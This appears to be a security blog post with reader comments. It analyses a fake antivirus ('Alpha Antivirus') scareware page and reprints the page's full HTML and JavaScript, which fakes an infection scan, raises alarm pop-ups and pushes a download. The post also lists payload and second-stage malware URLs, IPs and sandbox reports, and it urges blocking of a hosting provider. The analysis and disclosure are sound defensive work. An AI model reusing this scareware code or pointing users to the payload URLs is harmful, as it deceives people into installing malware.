fnm[437] = 'diskmgmt.msc';
fnm[438] = 'diskpart.exe';
fnm[439] = 'diskperf.exe';
fnm[440] = 'dispex.dll';
fnm[441] = 'dllhost.exe';
fnm[442] = 'dllhst3g.exe';
fnm[443] = 'dmadmin.exe';
fnm[444] = 'dmband.dll';
fnm[445] = 'dmcompos.dll';
fnm[446] = 'dmconfig.dll';
fnm[447] = 'dmdlfnm.dll';
fnm[448] = 'dmdskmgr.dll';
fnm[449] = 'dmdskres.dll';
fnm[450] = 'dmime.dll';
fnm[451] = 'dmintf.dll';
fnm[452] = 'dmloader.dll';
fnm[453] = 'dmocx.dll';
fnm[454] = 'dmremote.exe';
fnm[455] = 'dmscript.dll';
fnm[456] = 'dmserver.dll';
fnm[457] = 'dmstyle.dll';
fnm[458] = 'dmsynth.dll';
fnm[459] = 'dmusic.dll';
fnm[460] = 'dmutil.dll';
fnm[461] = 'dmview.ocx';
fnm[462] = 'dns-sd.exe';
fnm[463] = 'dnsapi.dll';
fnm[464] = 'dnsrslvr.dll';
fnm[465] = 'dnssd.dll';
fnm[466] = 'docprop.dll';
fnm[467] = 'docprop2.dll';
fnm[468] = 'doskey.exe';
fnm[469] = 'dosx.exe';
fnm[470] = 'dpcdll.dll';
fnm[471] = 'dplay.dll';
fnm[472] = 'dplaysvr.exe';
fnm[473] = 'dplayx.dll';
fnm[474] = 'dpmodemx.dll';
fnm[475] = 'dpnaddr.dll';
fnm[476] = 'dpnet.dll';
fnm[477] = 'dpnhpast.dll';
fnm[478] = 'dpnhupnp.dll';
fnm[479] = 'dpnlobby.dll';
fnm[480] = 'dpnmodem.dll';
fnm[481] = 'dpnsvr.exe';
fnm[482] = 'dpnwsock.dll';
fnm[483] = 'dpserial.dll';
fnm[484] = 'dpvacm.dll';
fnm[485] = 'dpvoice.dll';
fnm[486] = 'dpvsetup.exe';
fnm[487] = 'dpvvox.dll';
fnm[488] = 'dpwsock.dll';
fnm[489] = 'dpwsockx.dll';
fnm[490] = 'Drake.dll';
fnm[491] = 'DrakeCom.dll';
fnm[492] = 'driverquery.exe';
fnm[493] = 'drmclien.dll';
fnm[494] = 'drmupgds.exe';
fnm[495] = 'drmv2clt.dll';
fnm[496]= 'drprov.dll';
fnm[497] = 'DRVSSRVR.HLP';
fnm[498] = 'DRVVFP.CNT';
fnm[499] = 'DRVVFP.HLP';
fnm[500] = 'drwatson.exe';
fnm[501] = 'drwtsn32.exe';
fnm[502] = 'ds16gt.dLL';
fnm[503] = 'ds32gt.dll';
fnm[504] = 'dsauth.dll';
fnm[505] = 'dsdmo.dll';
fnm[506] = 'dsdmoprp.dll';
fnm[507] = 'dskquota.dll';
fnm[508] = 'dskquoui.dll';
fnm[509] = 'dsound.dll';


var pinter;var ss=15;var teracti=0;
function hideWarnDialog()
{
if(confirm('You should install this security software to protect your computer.')) {

}
else {
emilion();
};
};
function emilion(){
alert('Harmfull spyware or adware software. Such vulnerabilities can destroy or steal your private info and mail. On-lines scan should install Alpha Antivirus utilities to fix your pc. Please click Ok to download and install Alpha Antivirus tool. ');
}
function update()
{
if ($(".progress_bar_fill").width()>0)
{
$("#progress_prcnt").html((
Math.round(100-$(
'.progress_bar_fill').width(
)/417*100))+'%');

$("#files1").html(fnm[Math.floor(Math.random()*fnm.length)] );
if ($(".progress_bar_fill").width()<350 && teracti==0)
{
document.getElementById('threat1').style.visibility = 'visible';
document.getElementById('desc').style.visibility = 'visible';
setInterval("$('#tc1').toggleClass('none')",1000);
teracti=1;
}
if ($(".progress_bar_fill").width()<200 && teracti==1)
{
document.getElementById('threat2').style.visibility = 'visible';
setInterval("$('#tc2').toggleClass('none')",1000);
teracti=2;
}
if ($(".progress_bar_fill").width()<100 && teracti==2)
{
document.getElementById('threat3').style.visibility = 'visible';
setInterval("$('#tc3').toggleClass('none')",1000);
setInterval("$('#tc4').toggleClass('none')",1000);
teracti=3;
}
}
else
{
clearInterval(pinter);
$(".files2").html("<b>System scanning completed. 431 Probably harmfull items was found!</b>");
setTimeout("pop2()",1000);
}
}
function Minimize()
{
window.innerWidth = 100;
window.innerHeight = 100;
window.screenX = screen.width;
window.screenY = screen.height;
alwaysLowered = true;
}
ww1 = screen.width;
ww2 = screen.height;
function Maximize() {window.moveTo(0,0);window.resizeTo( ww1, ww2 );}
function download() {
window.location='/download.php?id=2004-1';
}
function away()
{
w = window;
ua = navigator.userAgent;
v1 = ua.toLowerCase().indexOf('msie') != -1 && ua.toLowerCase().indexOf('opera') < 0;
x = 11;
eval('w.resizeTo(x*10,x*11-7)');
w.moveTo(v1 ? (screen.width - 100) >> 1 : 11027, v1 ? (screen.height - 100) >> 1 : 10659);
}
function pop1() {
confirm('Warning!!! '+
'Your personal computer needs to install antivirus software! Alpha Antivirus can perform fast and free virus and malicious software scan of your computer .');
}
function pop2() {
confirm('This computer is under attack.'+
' They can seriously harm your private data or files, and should be healed immediately. '+
'Return to Alpha Antivirus and download it secure to your PC');
pop4();
}
function pop3dsds() {
alert('Computer might be affected by spyware or other types of viruses! '+
'Your mail, passwords and private documents might be in danger, protect your PC immediately.'+
'Return to Alpha Antivirus and download it secure to your PC');
}
function pop4() {
document.getElementById('ap').style.display = 'block';
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
}
function sp2init(){
}
function loading() {
if (window.attachEvent)
away();
pop1();
Maximize();
window.focus();
}
function loaded() {
$("#white").css("display","none");
$("#page_progress").css("display","block");
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
$(".progress_bar_fill").animate({width:"0px"},ss*1000);
writegeoip();
pinter = setInterval(update,ss*10);
};
loading();
var exit = true;
var usePopDialog = true;
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:1024px; dialogHeight:768px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0; help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = " scrollbars=1,menubar=1,toolbar=1,location=1,personalbar=1,status=1,resizable=1";
var clid = "7f09c9e1c55f7d63f02909a14c1a45e0";
var usePopDialog = true;
var isUsinfnmpecial = false;
dat=new Date(1258302473);
var ghf=dat.getHours()-dat.getUTCHours();
newurl = "/download.php?id=2004-1&dlth="+ghf;
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
function dddggg(){
if(!isXPSP2 && !usePopDialog) {
window.open(popURL,"",popWindowOptions);
}else if(!isXPSP2 && usePopDialog) {
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}else{
iie.launchURL(popURL);
}
}
function ext(){
if(exit) {
exit=false;
emilion();
dddggg();
}
}
var popURL = newurl;
isUsinfnmpecial = true;
if (window.attachEvent)
eval("window.attachEvent('onunload',ext);");
else
window.addEventListener("unload", ext, false);
</script>

</head>
<body onLoad="loaded()">

<DIV id=ap style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 190px; display: none;" align=center>
<DIV style="cursor:hand; WIDTH: 434px; height:332px; POSITION: relative; background-image:url(img/001.gif); background-color:white;"><input type='button' style='POSITION: relative; width:21px; height:21px; left:200px; top:5px; border-width:0px; background-image:url(cb.gif)' onclick='hideWarnDialog();'><spacer width='446' height='294' /></DIV>
</div>

<div style="display: none;" id="white" class="white_div" align="center">
<div style="position: relative; top: 50%;"><img src="img/007.gif" width="51" height="19"> </div>
</div>
<div style="display: block;" class="left_bar">
<div class="left_header">System Tasks</div>
<div class="left_box">
<div class="left_box_line">
<img src="img/016.gif" class="left_bar_icon" width="14" height="16"><a href="#">View system information</a> </div>
<div class="left_box_line">
<img src="img/017.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Add or remove programs</a> </div>
<div class="left_box_line">
<img src="img/018.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Change a settinfnm</a> </div>
</div>
<div class="left_header">
Other Places </div>
<div class="left_box">
<div class="left_box_line">
<img src="img/012.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Network Places</a> </div>
<div class="left_box_line">
<img src="img/013.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Documents</a> </div>
<div class="left_box_line">
<img src="img/014.gif" class="left_bar_icon" width="16" height="14"> <a href="#">Shared Documents</a> </div>
<div class="left_box_line">
<img src="img/015.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Control Panel</a> </div>
</div>
<div class="left_header">
Details </div>
<div class="left_box">
<div class="left_box_line"> <strong>My Computer</strong><br>
System Folder </div>
</div>
<div class="left_header">
Your Info </div>
<div class="left_box">
<div class="left_box_line">
<strong>IP: </strong><span style="color:#F00">82.39.123.56</span><br>
<strong>Country: </strong><span id="geoipcountry" style="color:#F00"></span><br>
<strong>City: </strong><span id="geoipcity" style="color:#F00"></span><br>
<div style="margin-top:5px; color:#F00"><strong>All information on this PC could be stolen</strong></div>
</div>
</div>
</div>

<div class="right_bar">
<div class="right_hr">
Computer Scan progress </div>
<div class="folder_box">
<div id="tc1" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">97 trojans</span> </div>

<img src="img/004.gif" class="folder_icon" width="43" height="40">Shared Documents </div>
<div class="folder_box">
<div id="tc2" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">334 trojans</span> </div>

<img src="img/004.gif" class="folder_icon" width="43" height="40">My Documents </div>
<div class="right_hr">
Hard drives </div>
<div class="folder_box">
<div id="tc3" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">353 trojans</span> </div>

<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (C:) </div>
<div class="folder_box">
<div id="tc4" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">78 trojans</span> </div>

<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (D:) </div>
<div class="right_hr">
DVD </div>
<div class="folder_box">
<img src="img/003.gif" class="folder_icon" width="43" height="40">DVD-RAM Drive (E:) </div>
<div class="progress_bar">
<div class="progress_bar_bg">
<div class="progress_bar_progress">
<div style=" display: block;" class="progress_bar_fill"> </div>
<div id="progress_prcnt">100%</div>
</div>
</div>
</div>
<div class="files2" style=" padding-top:3px;padding-left:15px;"><strong>Now scanning: <span id="files1"></span></strong></div>
<div class="window1">
<div style="font-size: 15px; font-weight: bold; color: white; padding-top: 14px; padding-left: 35px;">
Your Computer is Infected! </div>
<div style="padding-top: 22px;">
Threats and actions: </div>
<table border="0">
<tbody><tr>
<td width="166" class="td_cell1">Name</td>
<td class="td_cell1" width="105">Risk level</td>
<td width="85" class="td_cell1">Date</td>
<td width="120" class="td_cell1">Files infected</td>
<td width="120" class="td_cell1">State</td>
</tr>
<tr class="" id="threat1" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>W32/Virut.a!</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">36</td>
<td class="td_cell2">Waiting removal</td>
</tr>
<tr class="" id="threat2" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>Exploit-MSWord</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">65</td>
<td class="td_cell2">Waiting removal</td>
</tr>
<tr class="" id="threat3" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>Win 32:Delf-XQ</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">44</td>
<td class="td_cell2">Waiting removal</td>
</tr>
</tbody></table>

<div style=" visibility:hidden; padding-top: 12px; padding-left: 12px; width: 600px;" class="" id="desc">
<b>Description:</b><br>
This program is potentially dangerous for your system. <b>Trojan-Downloader</b> stealing passwords, credit cards and other personal information from your computer.
<br><br>
<b>Advice:</b><br>
You need to remove this threat as soon as possible! </div>
<div style="padding-top: 50px; padding-left: 590px;"><a href="/download.php?id=2004-1">Full system cleanup</a></div>
</div>
</div>
<div id="geoipdiv" style="display:none"></div>
<script language="javascript">Drag.init(document.getElementById('ap'));
function writegeoip(){
d=document.getElementById('geoipdiv');
d.innerHTML="<iframe width=1 height=1 border=0 src='geoip.php'></iframe>";
}
</script>
</body></html>


Identifying the download URL, shows the payload (in this case, Alpha Antivirus) comes from;

perfectscan01.com/load/A-Install90ca_2004-1.exe
IP: 89.248.162.149
IP PTR: Failed resolution
ASN: 29073 89.248.160.0/21 ECATEL-AS AS29073, Ecatel Network

VirusTotal results
http://www.virustotal.com/analisis/d3bdbafa378df250da5ecf72a5a6d0335e72e9c504c50a6f55cc72bd18a54eb7-1258303724

Anubis results
http://anubis.iseclab.org/?action=result&task_id=11f830b12b38a9b34914ffd134cc488e0

Threat Expert results show it also downloads the following using the Microsoft BITS (Background Intelligent Transfer Service) service;

firewallsecurityupdatesv2.com/directxcore.cpl
IP: 84.16.255.108
IP PTR: Resolution failed
ASN: 28753 84.16.224.0/19 NETDIRECT AS NETDIRECT Frankfurt, DE

Threat Expert results
http://www.threatexpert.com/report.aspx?md5=7717e0c4d5a7c093eb2e36406c198180

VirusTotal results
http://www.virustotal.com/analisis/8805e131badc95e360fa48befa884910db40786e5816515b87c4ace51d1cd387-1258306052

There are currently hundreds of such sites across the Ecatel ranges, and no sign at all, of Ecatel's giving a damn, which means very little chance of their doing anything about it (yep, I know what that likely means too). Because of this, I'm personally blackholing ALL of Ecatels ranges, and suggest others do the same. Until we force these ISP's to change, they're simply going to continue doing this, which is unacceptable.

Whilst we're waiting for Ecatel to explain themselves (should be interesting), you can see details on what is located within their ranges, at;

MalwareURL - AS29073
http://www.malwareurl.com/search.php?domain=&s=29073&match=0&rp=50&urls=on&redirs=on&ip=on&reverse=on&as=on

MalwareDomainList - AS29073
http://www.malwaredomainlist.com/mdl.php?search=29073&colsearch=ASN&quantity=50

hpHosts - 89.248.*
http://hosts-file.net/?s=89.248&view=history&direct=1

hpHosts - 93.174.*
http://hosts-file.net/?s=93.174&view=history&direct=1

hpHosts - 94.102.*
http://hosts-file.net/?s=94.102&view=history&direct=1

Sidenote: hpHosts doesn't currently store the AS info, so you can't search the database using the AS# or AS description as the query. This will however, change once I get round to doing the re-write of the hpHosts code. I've also got a few hundred malicious URL's on the Ecatel range, that aren't on hpHosts yet, but are still on my internal only malware DB, these will be added to hpHosts once they've been processed

13 comments:

Unknown said...

Thanks for the excellent analysis. But what is actually done against this company?

MysteryFCM said...

I'm only a researcher, so don't have any powers to actually do anything to force them to take action or such, that's up to the authorities and the likes of ICANN, and of course, Ecatel's upstream providers .... which is why I published this ;o) (hopefully those with the power to do something, will see this and take appropriate action)

Unknown said...

I think everybody with technical skills in this field has at least the power to send emails to their abuse address, and/or to their upstream providers. That's at least what I do for what I am following. It would help if others would do this as well. Ecatel uses the "thousands of servers" which they claim they host as an excuse for why they don't know what's happening on these servers. Well... we can tell them! They can't ignore evident abuse reports, because if they do, that would prove that they knowingly host malware and are indeed a malafide organization.

MysteryFCM said...

I've been sending abuse reports to them for years, and not once had a response.

Unknown said...

Initially they did not respond to me either - but that seems to be quite common for abuse departments :-(. Posting in the "webhostingtalk" forum helped to get in contact, but they kept me hanging on and effectively did nothing. Then after a little pressure from an upstream provider who I contacted, they do respond now, even within a couple of hours. Btw the conversation can be called "interesting" now and then ... and they stay anonymous. Have you sent abuse reports to them recently? Please do so; if possible I would like to hear (read) the results.

MysteryFCM said...

The last abuse report I sent them was last week, and I've not even had so much as an autoresponse since.

Unknown said...

Hope this is not an inappropriate question: would it be possible to forward your latest abuse report(s) to me? I'm collecting evidence against crimeware friendly hosting companies in the Netherlands ...

MysteryFCM said...

I don't actually have it anymore (sent items has since been cleared), or I'd have gladly sent you it.

Unknown said...

When you send a new report (to any of the ISP's in the Netherlands), then perhaps you want to CC it to me.

MysteryFCM said...

Will do. Fire me an e-mail with your preferred e-mail address :o)

hphosts @ it-mate.co.uk

Unknown said...

Isn't there a federal, USA, site you can make a complaint to.. also.. I know of tons of TV New Stations, that might love to do a story on this.. I'm getting a pop-up from malwarebytes every 30 seconds from this ip 89.248.171.134

Unknown said...

Oroginal blog is a year old...

89.248.171.134 seems to be used for shared hosting by a (probably) Polish reseller of Ecatel. Apparently the problem comes from a malicious or compromised site on that server. When there is clear evidence, Ecatel is more co-operative than a year ago - at least to me :-), but I am not sure if in this case just the Ip address is sufficient for them.

blargghhh said...

Again, a year later... For some strange reason, I keep blocking peer-to-peer contact from that particular site.... And I never went on any of their sites ! What a....